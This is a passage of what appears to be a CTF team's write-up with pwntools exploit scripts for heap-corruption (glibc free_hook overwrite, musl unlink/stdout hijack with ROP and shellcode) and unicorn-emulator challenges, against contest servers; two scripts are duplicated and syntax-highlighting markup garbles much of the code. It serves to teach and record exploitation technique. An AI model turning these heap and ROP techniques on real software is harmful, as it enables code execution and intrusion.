<span class="hljs-attribute">main_arena_offset</span> = <span class="hljs-number">0</span>x<span class="hljs-number">1</span>ebb<span class="hljs-number">80</span>
<span class="hljs-attribute">small_bin_offset</span> = main_arena_offset+<span class="hljs-number">0</span>x<span class="hljs-number">260</span>
<span class="hljs-attribute">free_hook_offset</span> = <span class="hljs-number">0</span>x<span class="hljs-number">1</span>eeb<span class="hljs-number">28</span>
<span class="hljs-attribute">system_offset</span> = <span class="hljs-number">0</span>x<span class="hljs-number">55410</span>
<span class="hljs-comment">###Exploit</span>
<span class="hljs-attribute">r</span> = remote('<span class="hljs-number">111.186.58.249</span>',<span class="hljs-number">20001</span>)
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>),'M<span class="hljs-number">30</span>W') #<span class="hljs-number">0</span>
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">1</span>),'M<span class="hljs-number">30</span>W') #<span class="hljs-number">1</span>
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">2</span>),'M<span class="hljs-number">30</span>W') #<span class="hljs-number">2</span> #for book chunk consumption
<span class="hljs-attribute">for</span> i in range(<span class="hljs-number">3</span>,<span class="hljs-number">9</span>):
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(i),'M<span class="hljs-number">30</span>W') #<span class="hljs-number">2</span>~<span class="hljs-number">7</span>
<span class="hljs-attribute">for</span> i in range(<span class="hljs-number">3</span>,<span class="hljs-number">8</span>):
<span class="hljs-attribute">delete</span>(i)
<span class="hljs-attribute">delete</span>(<span class="hljs-number">0</span>) #tcache first
<span class="hljs-attribute">delete</span>(<span class="hljs-number">8</span>) #for OOB consumption
<span class="hljs-attribute">delete</span>(<span class="hljs-number">2</span>) #for OOB consumption
<span class="hljs-attribute">delete</span>(<span class="hljs-number">1</span>) #unsorted
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>x<span class="hljs-number">80</span>),'M<span class="hljs-number">30</span>W') #OOB
<span class="hljs-attribute">heap_addr</span> = u<span class="hljs-number">64</span>(show(<span class="hljs-number">0</span>)[<span class="hljs-number">0</span>]+b'\x<span class="hljs-number">00</span>\x<span class="hljs-number">00</span>')-<span class="hljs-number">0</span>x<span class="hljs-number">1290</span>
<span class="hljs-attribute">small_bin_addr</span> = u<span class="hljs-number">64</span>(show(<span class="hljs-number">1</span>)[<span class="hljs-number">0</span>]+b'\x<span class="hljs-number">00</span>\x<span class="hljs-number">00</span>')
<span class="hljs-attribute">libc_base</span> = small_bin_addr-small_bin_offset
<span class="hljs-attribute">print</span>(hex(heap_addr))
<span class="hljs-attribute">print</span>(hex(libc_base))
<span class="hljs-comment">#for i in range(6):</span>
<span class="hljs-attribute">for</span> i in range(<span class="hljs-number">4</span>):
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),'M<span class="hljs-number">30</span>W') #exhaust
<span class="hljs-attribute">fake_footer</span> = b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>x<span class="hljs-number">20</span>+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">21</span>)
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),fake_footer) #exhaust #to-hijack
<span class="hljs-attribute">fake_smallbin</span> = b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>x<span class="hljs-number">50</span>+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>x<span class="hljs-number">500</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">00</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>x<span class="hljs-number">9</span>e<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">20</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">00</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">40</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">20</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">60</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">40</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">80</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">60</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xaa<span class="hljs-number">0</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xa<span class="hljs-number">80</span>)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>xac<span class="hljs-number">0</span>)+\
<span class="hljs-attribute">p64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+\
<span class="hljs-attribute">p64</span>(heap_addr+<span class="hljs-number">0</span>xaa<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(libc_base+small_bin_offset)
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),fake_smallbin) #exhaust #hijacker
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xe),'M<span class="hljs-number">30</span>W')
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),'M<span class="hljs-number">30</span>W') #placeholder
<span class="hljs-attribute">delete</span>(<span class="hljs-number">15</span>)
<span class="hljs-attribute">delete</span>(<span class="hljs-number">14</span>) #smallbin-><span class="hljs-number">510</span>
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),'M<span class="hljs-number">30</span>W') #clean up entry
<span class="hljs-attribute">delete</span>(<span class="hljs-number">1</span>) #tcache-><span class="hljs-number">510</span>
<span class="hljs-attribute">fake_smallbin</span> = p<span class="hljs-number">64</span>(libc_base+small_bin_offset)+p<span class="hljs-number">64</span>(heap_addr+<span class="hljs-number">0</span>x<span class="hljs-number">9</span>e<span class="hljs-number">0</span>) #<span class="hljs-number">990</span>
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xe),fake_smallbin)
<span class="hljs-attribute">for</span> i in range(<span class="hljs-number">6</span>):
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),'M<span class="hljs-number">30</span>W')
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xd<span class="hljs-number">0</span>+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>x<span class="hljs-number">211</span>)+p<span class="hljs-number">64</span>(libc_base+free_hook_offset-<span class="hljs-number">8</span>)+p<span class="hljs-number">64</span>(<span class="hljs-number">0</span>)) #hijack
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xf),'M<span class="hljs-number">30</span>W')
<span class="hljs-attribute">create</span>(b'\x<span class="hljs-number">00</span>'*<span class="hljs-number">0</span>xf+p<span class="hljs-number">8</span>(<span class="hljs-number">0</span>xd),b'/bin/sh\x<span class="hljs-number">00</span>'+p<span class="hljs-number">64</span>(libc_base+system_offset))
<span class="hljs-attribute">delete</span>(<span class="hljs-number">13</span>)
<span class="hljs-attribute">r</span>.interactive()</code></pre><h3 id="uc_masteeer"><a class="header-link" href="#uc_masteeer"></a>uc_masteeer</h3>
<p>modify function table on stack to redirect admin code flow and gain arbitrary code execution under admin privs</p>
<pre class="hljs"><code><span class="hljs-attribute">from</span> pwn import *
<span class="hljs-attribute">context</span>.arch = 'amd<span class="hljs-number">64</span>'
<span class="hljs-comment">###Util</span>
<span class="hljs-attribute">def</span> run_admin():
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">1</span>')
<span class="hljs-attribute">def</span> run_user():
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">2</span>')
<span class="hljs-attribute">def</span> patch(addr,data):
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">3</span>')
<span class="hljs-attribute">r</span>.sendafter('addr: \x<span class="hljs-number">00</span>',p<span class="hljs-number">64</span>(addr))
<span class="hljs-attribute">r</span>.sendafter('size: \x<span class="hljs-number">00</span>',p<span class="hljs-number">64</span>(len(data)))
<span class="hljs-attribute">r</span>.sendafter('data: \x<span class="hljs-number">00</span>',data)
<span class="hljs-comment">###Exploit</span>
<span class="hljs-attribute">r</span> = remote('<span class="hljs-number">111.186.59.29</span>',<span class="hljs-number">10087</span>)
<span class="hljs-attribute">stack_addr</span> = <span class="hljs-number">0</span>xbabecafe<span class="hljs-number">000</span>
<span class="hljs-attribute">trigger_addr</span> = <span class="hljs-number">0</span>xbabecafe<span class="hljs-number">233</span>
<span class="hljs-attribute">code_addr</span> = <span class="hljs-number">0</span>xdeadbeef<span class="hljs-number">000</span>
<span class="hljs-attribute">customcode_addr</span> = code_addr+<span class="hljs-number">0</span>x<span class="hljs-number">1000</span>
<span class="hljs-attribute">r</span>.send('M<span class="hljs-number">30</span>W')
<span class="hljs-attribute">patch</span>(stack_addr,p<span class="hljs-number">64</span>(code_addr))
<span class="hljs-attribute">cmd</span> = b'k<span class="hljs-number">33</span>nlab/readflag\x<span class="hljs-number">00</span>'
<span class="hljs-attribute">patch</span>(stack_addr+<span class="hljs-number">0</span>x<span class="hljs-number">20</span>,cmd)
<span class="hljs-attribute">run_admin</span>()
<span class="hljs-attribute">sc</span> = asm(f'''
<span class="hljs-attribute">mov</span> rdi, {stack_addr+<span class="hljs-number">0</span>x<span class="hljs-number">20</span>}
<span class="hljs-attribute">mov</span> rax, {trigger_addr}
<span class="hljs-attribute">mov</span> qword ptr<span class="hljs-meta"> [rax], rdi
''')
patch(customcode_addr,sc)
patch(stack_addr,p64(customcode_addr))
run_user()
r.interactive()</span></code></pre><h3 id="uc_goood"><a class="header-link" href="#uc_goood"></a>uc_goood</h3>
<p>utilize unicorn code hook boundary check miscalculation and enter from misaligned admin code entry point</p>
<p>the misaligned code is some rax deref + write, find approprite target to overwrite and change admin code so that we get an arbitrary address/content write before reaching original hook_mem_access</p>
<p>then utilize the arbitrary write to trigger hook_mem_access with arbitrary payload</p>
<pre class="hljs"><code><span class="hljs-attribute">from</span> pwn import *
<span class="hljs-attribute">context</span>.arch = 'amd<span class="hljs-number">64</span>'
<span class="hljs-comment">###Util</span>
<span class="hljs-attribute">def</span> run_admin():
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">1</span>')
<span class="hljs-attribute">def</span> run_user():
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">2</span>')
<span class="hljs-attribute">def</span> patch(addr,data):
<span class="hljs-attribute">r</span>.sendlineafter('?: \x<span class="hljs-number">00</span>','<span class="hljs-number">3</span>')
<span class="hljs-attribute">r</span>.sendafter('addr: \x<span class="hljs-number">00</span>',p<span class="hljs-number">64</span>(addr))
<span class="hljs-attribute">r</span>.sendafter('size: \x<span class="hljs-number">00</span>',p<span class="hljs-number">64</span>(len(data)))
<span class="hljs-attribute">r</span>.sendafter('data: \x<span class="hljs-number">00</span>',data)
<span class="hljs-comment">###Exploit</span>
<span class="hljs-attribute">r</span> = remote('<span class="hljs-number">111.186.59.29</span>',<span class="hljs-number">10087</span>)
<span class="hljs-attribute">stack_addr</span> = <span class="hljs-number">0</span>xbabecafe<span class="hljs-number">000</span>
<span class="hljs-attribute">trigger_addr</span> = <span class="hljs-number">0</span>xbabecafe<span class="hljs-number">233</span>
<span class="hljs-attribute">code_addr</span> = <span class="hljs-number">0</span>xdeadbeef<span class="hljs-number">000</span>
<span class="hljs-attribute">customcode_addr</span> = code_addr+<span class="hljs-number">0</span>x<span class="hljs-number">1000</span>
<span class="hljs-attribute">r</span>.send('M<span class="hljs-number">30</span>W')
<span class="hljs-attribute">patch</span>(stack_addr,p<span class="hljs-number">64</span>(code_addr))
<span class="hljs-attribute">cmd</span> = b'k<span class="hljs-number">33</span>nlab/readflag\x<span class="hljs-number">00</span>'
<span class="hljs-attribute">patch</span>(stack_addr+<span class="hljs-number">0</span>x<span class="hljs-number">20</span>,cmd)
<span class="hljs-attribute">run_admin</span>()
<span class="hljs-attribute">sc</span> = asm(f'''
<span class="hljs-attribute">mov</span> rdi, {stack_addr+<span class="hljs-number">0</span>x<span class="hljs-number">20</span>}
<span class="hljs-attribute">mov</span> rax, {trigger_addr}
<span class="hljs-attribute">mov</span> qword ptr<span class="hljs-meta"> [rax], rdi
''')
patch(customcode_addr,sc)
patch(stack_addr,p64(customcode_addr))
run_user()
r.interactive()</span></code></pre><h3 id="babyheap2021"><a class="header-link" href="#babyheap2021"></a>Babyheap2021</h3>
<p>musl libc with heap OOB
unlink attack -> arbitrary malloc -> hijack stdout -> longjmp -> ROP -> shellcode</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.arch = <span class="hljs-string">'amd64'</span>
<span class="hljs-comment">###Util</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span>(<span class="hljs-params">size,data</span>):</span>
<span class="hljs-keyword">if</span> <span class="hljs-built_in">type</span>(data)==<span class="hljs-built_in">str</span>:
data = data.encode()
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(data)<size-<span class="hljs-number">1</span>:
data+=<span class="hljs-string">b'\n'</span>
r.sendlineafter(<span class="hljs-string">'Command: '</span>,<span class="hljs-string">'1'</span>)
r.sendlineafter(<span class="hljs-string">'Size: '</span>,<span class="hljs-built_in">str</span>(size))
r.sendafter(<span class="hljs-string">'Content: '</span>,data)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">edit</span>(<span class="hljs-params">idx,size,data</span>):</span>
<span class="hljs-keyword">if</span> <span class="hljs-built_in">type</span>(data)==<span class="hljs-built_in">str</span>:
data = data.encode()
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(data)<size-<span class="hljs-number">1</span>:
data+=<span class="hljs-string">b'\n'</span>
r.sendlineafter(<span class="hljs-string">'Command: '</span>,<span class="hljs-string">'2'</span>)
r.sendlineafter(<span class="hljs-string">'Index: '</span>,<span class="hljs-built_in">str</span>(idx))
r.sendlineafter(<span class="hljs-string">'Size: '</span>,<span class="hljs-built_in">str</span>(size))
r.sendafter(<span class="hljs-string">'Content: '</span>,data)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span>(<span class="hljs-params">idx</span>):</span>
r.sendlineafter(<span class="hljs-string">'Command: '</span>,<span class="hljs-string">'3'</span>)
r.sendlineafter(<span class="hljs-string">'Index: '</span>,<span class="hljs-built_in">str</span>(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span>(<span class="hljs-params">idx</span>):</span>
r.sendlineafter(<span class="hljs-string">'Command: '</span>,<span class="hljs-string">'4'</span>)
r.sendlineafter(<span class="hljs-string">'Index: '</span>,<span class="hljs-built_in">str</span>(idx))
r.recvuntil(<span class="hljs-string">': '</span>)
<span class="hljs-keyword">return</span> r.recvuntil(<span class="hljs-string">'\n1. Allocate'</span>,drop=<span class="hljs-literal">True</span>)
<span class="hljs-comment">###Addr</span>
<span class="hljs-comment"># musl libc</span>
stdout_struct_offset = <span class="hljs-number">0xb0280</span>
bin_offset = <span class="hljs-number">0xb0a48</span>
bin3_offset = bin_offset+<span class="hljs-number">0x18</span>*<span class="hljs-number">3</span>
<span class="hljs-comment">###ROPgadget</span>
L_nop = <span class="hljs-number">0x15292</span>
L_pop_rdi = <span class="hljs-number">0x15291</span>
L_pop_rsi = <span class="hljs-number">0x1d829</span>
L_pop_rdx = <span class="hljs-number">0x2cdda</span>
L_pop_rax = <span class="hljs-number">0x16a16</span>
L_inc_eax = <span class="hljs-number">0x1e3cf</span>
L_syscall = <span class="hljs-number">0x23720</span>
L_longjmp = <span class="hljs-number">0x78d24</span>
<span class="hljs-comment">###Exploit</span>
r = remote(<span class="hljs-string">'111.186.59.11'</span>,<span class="hljs-number">11124</span>)
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#0</span>
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#1</span>
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#2</span>
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#3</span>
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#4</span>
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#5</span>
create(<span class="hljs-number">0x70</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#6</span>
create(<span class="hljs-number">0xf0</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#7</span>
<span class="hljs-comment">#leak</span>
create(<span class="hljs-number">0x30</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#8</span>
create(<span class="hljs-number">0x50</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#9</span>
create(<span class="hljs-number">0x30</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#10</span>
edit(<span class="hljs-number">8</span>,<span class="hljs-number">0xffffffff</span>,<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x30</span>+p64(<span class="hljs-number">0x41</span>)+p64(<span class="hljs-number">0x81</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x50</span>+p64(<span class="hljs-number">0x61</span>)+p64(<span class="hljs-number">0x41</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x81</span>)+p64(<span class="hljs-number">0x21</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x61</span>)+p64(<span class="hljs-number">0xc00</span>)[:-<span class="hljs-number">1</span>])
delete(<span class="hljs-number">9</span>)
create(<span class="hljs-number">0x70</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#9</span>
edit(<span class="hljs-number">8</span>,<span class="hljs-number">0xffffffff</span>,<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x30</span>+p64(<span class="hljs-number">0x41</span>)+p64(<span class="hljs-number">0x61</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x50</span>+p64(<span class="hljs-number">0x61</span>)+p64(<span class="hljs-number">0x21</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x21</span>)+p64(<span class="hljs-number">0x21</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x41</span>)+p64(<span class="hljs-number">0xc00</span>)[:-<span class="hljs-number">1</span>])
delete(<span class="hljs-number">10</span>)
leaks = show(<span class="hljs-number">9</span>)
libc_base = u64(leaks[<span class="hljs-number">0x60</span>:<span class="hljs-number">0x68</span>])-<span class="hljs-number">0xb0a40</span>
<span class="hljs-built_in">print</span>(<span class="hljs-built_in">hex</span>(libc_base))
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#10</span>
delete(<span class="hljs-number">6</span>)
delete(<span class="hljs-number">2</span>)
edit(<span class="hljs-number">0</span>,<span class="hljs-number">0xffffffff</span>,<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x21</span>)+p64(<span class="hljs-number">0x21</span>)+<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x10</span>+p64(<span class="hljs-number">0x21</span>)+p64(<span class="hljs-number">0x20</span>)+p64(libc_base+stdout_struct_offset-<span class="hljs-number">0x70</span>)+p64(libc_base+stdout_struct_offset-<span class="hljs-number">0x70</span>)+p64(<span class="hljs-number">0x20</span>)[:-<span class="hljs-number">1</span>])
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#2</span>
delete(<span class="hljs-number">4</span>)
edit(<span class="hljs-number">2</span>,<span class="hljs-number">0x10</span>,p64(libc_base+bin3_offset-<span class="hljs-number">0x10</span>)+p64(libc_base+stdout_struct_offset-<span class="hljs-number">0x70</span>)[:-<span class="hljs-number">1</span>])
create(<span class="hljs-number">0x10</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#4</span>
create(<span class="hljs-number">0x70</span>,<span class="hljs-string">'M30W'</span>) <span class="hljs-comment">#6 #before stdout</span>
padding = <span class="hljs-string">b'\x00'</span>*<span class="hljs-number">0x60</span>
fake_file = p64(<span class="hljs-number">0</span>)*<span class="hljs-number">4</span>+p64(<span class="hljs-number">1</span>)+p64(<span class="hljs-number">1</span>)+p64(libc_base+stdout_struct_offset+<span class="hljs-number">0x50</span>)+p64(libc_base+L_nop)+p64(<span class="hljs-number">0</span>)+p64(libc_base+L_longjmp)
ROPchain = p64(libc_base+L_pop_rdi)+p64((libc_base+stdout_struct_offset)&<span class="hljs-number">0xfffffffffffff000</span>)+\
p64(libc_base+L_pop_rsi)+p64(<span class="hljs-number">0x1000</span>)+\
p64(libc_base+L_pop_rdx)+p64(<span class="hljs-number">7</span>)+\
p64(libc_base+L_pop_rax)+p64(<span class="hljs-number">9</span>)+\
p64(libc_base+L_inc_eax)+\
p64(libc_base+L_syscall)+\
p64(libc_base+stdout_struct_offset+<span class="hljs-number">0x50</span>+<span class="hljs-number">0x58</span>)
sc = asm(<span class="hljs-string">f'''
mov rdi, <span class="hljs-subst">{libc_base+stdout_struct_offset+<span class="hljs-number">0x50</span>+<span class="hljs-number">0x58</span>+<span class="hljs-number">0x70</span>}</span>
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, <span class="hljs-subst">{libc_base+stdout_struct_offset+<span class="hljs-number">0x50</span>+<span class="hljs-number">0x58</span>+<span class="hljs-number">0x70</span>}</span>
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 1
mov rsi, <span class="hljs-subst">{libc_base+stdout_struct_offset+<span class="hljs-number">0x50</span>+<span class="hljs-number">0x58</span>+<span class="hljs-number">0x70</span>}</span>
mov rdx, 0x100
mov rax, 1
syscall
'''</span>)
args = <span class="hljs-string">b'/flag\x00'</span>
payload = padding+fake_file+ROPchain+sc.ljust(<span class="hljs-number">0x70</span>,<span class="hljs-string">b'\x00'</span>)+args
edit(<span class="hljs-number">6</span>,<span class="hljs-number">0xffffffff</span>,payload)
r.interactive()
<span class="hljs-comment">#reference https://itw01.com/8I2X8E9.html</span></code></pre><h3 id="hash-collision"><a class="header-link" href="#hash-collision"></a>Hash Collision</h3>
<p>Challenge can be divided into 2 parts</p>
<ol class="list">
<li>hash collision</li>
<li>pwning the index OOB bug</li>
</ol>
<p>Part 1 : </p>
<pre class="hljs"><code>import random
R = [<span class="hljs-number">0xd202ef8d</span>,<span class="hljs-number">0xa505df1b</span>,<span class="hljs-number">0x3c0c8ea1</span>,<span class="hljs-number">0x4b0bbe37</span>
,<span class="hljs-number">0xd56f2b94</span>,<span class="hljs-number">0xa2681b02</span>,<span class="hljs-number">0x3b614ab8</span>,<span class="hljs-number">0x4c667a2e</span>
,<span class="hljs-number">0xdcd967bf</span>,<span class="hljs-number">0xabde5729</span>,<span class="hljs-number">0x32d70693</span>,<span class="hljs-number">0x45d03605</span>
,<span class="hljs-number">0xdbb4a3a6</span>,<span class="hljs-number">0xacb39330</span>,<span class="hljs-number">0x35bac28a</span>,<span class="hljs-number">0x42bdf21c</span>
,<span class="hljs-number">0xcfb5ffe9</span>,<span class="hljs-number">0xb8b2cf7f</span>,<span class="hljs-number">0x21bb9ec5</span>,<span class="hljs-number">0x56bcae53</span>
,<span class="hljs-number">0xc8d83bf0</span>,<span class="hljs-number">0xbfdf0b66</span>,<span class="hljs-number">0x26d65adc</span>,<span class="hljs-number">0x51d16a4a</span>
,<span class="hljs-number">0xc16e77db</span>,<span class="hljs-number">0xb669474d</span>,<span class="hljs-number">0x2f6016f7</span>,<span class="hljs-number">0x58672661</span>
,<span class="hljs-number">0xc603b3c2</span>,<span class="hljs-number">0xb1048354</span>,<span class="hljs-number">0x280dd2ee</span>,<span class="hljs-number">0x5f0ae278</span>
,<span class="hljs-number">0xe96ccf45</span>,<span class="hljs-number">0x9e6bffd3</span>,<span class="hljs-number">0x0762ae69</span>,<span class="hljs-number">0x70659eff</span>
,<span class="hljs-number">0xee010b5c</span>,<span class="hljs-number">0x99063bca</span>,<span class="hljs-number">0x000f6a70</span>,<span class="hljs-number">0x77085ae6</span>
,<span class="hljs-number">0xe7b74777</span>,<span class="hljs-number">0x90b077e1</span>,<span class="hljs-number">0x09b9265b</span>,<span class="hljs-number">0x7ebe16cd</span>
,<span class="hljs-number">0xe0da836e</span>,<span class="hljs-number">0x97ddb3f8</span>,<span class="hljs-number">0x0ed4e242</span>,<span class="hljs-number">0x79d3d2d4</span>
,<span class="hljs-number">0xf4dbdf21</span>,<span class="hljs-number">0x83dcefb7</span>,<span class="hljs-number">0x1ad5be0d</span>,<span class="hljs-number">0x6dd28e9b</span>
,<span class="hljs-number">0xf3b61b38</span>,<span class="hljs-number">0x84b12bae</span>,<span class="hljs-number">0x1db87a14</span>,<span class="hljs-number">0x6abf4a82</span>
,<span class="hljs-number">0xfa005713</span>,<span class="hljs-number">0x8d076785</span>,<span class="hljs-number">0x140e363f</span>,<span class="hljs-number">0x630906a9</span>
,<span class="hljs-number">0xfd6d930a</span>,<span class="hljs-number">0x8a6aa39c</span>,<span class="hljs-number">0x1363f226</span>,<span class="hljs-number">0x6464c2b0</span>
,<span class="hljs-number">0xa4deae1d</span>,<span class="hljs-number">0xd3d99e8b</span>,<span class="hljs-number">0x4ad0cf31</span>,<span class="hljs-number">0x3dd7ffa7</span>
,<span class="hljs-number">0xa3b36a04</span>,<span class="hljs-number">0xd4b45a92</span>,<span class="hljs-number">0x4dbd0b28</span>,<span class="hljs-number">0x3aba3bbe</span>
,<span class="hljs-number">0xaa05262f</span>,<span class="hljs-number">0xdd0216b9</span>,<span class="hljs-number">0x440b4703</span>,<span class="hljs-number">0x330c7795</span>
,<span class="hljs-number">0xad68e236</span>,<span class="hljs-number">0xda6fd2a0</span>,<span class="hljs-number">0x4366831a</span>,<span class="hljs-number">0x3461b38c</span>
,<span class="hljs-number">0xb969be79</span>,<span class="hljs-number">0xce6e8eef</span>,<span class="hljs-number">0x5767df55</span>,<span class="hljs-number">0x2060efc3</span>
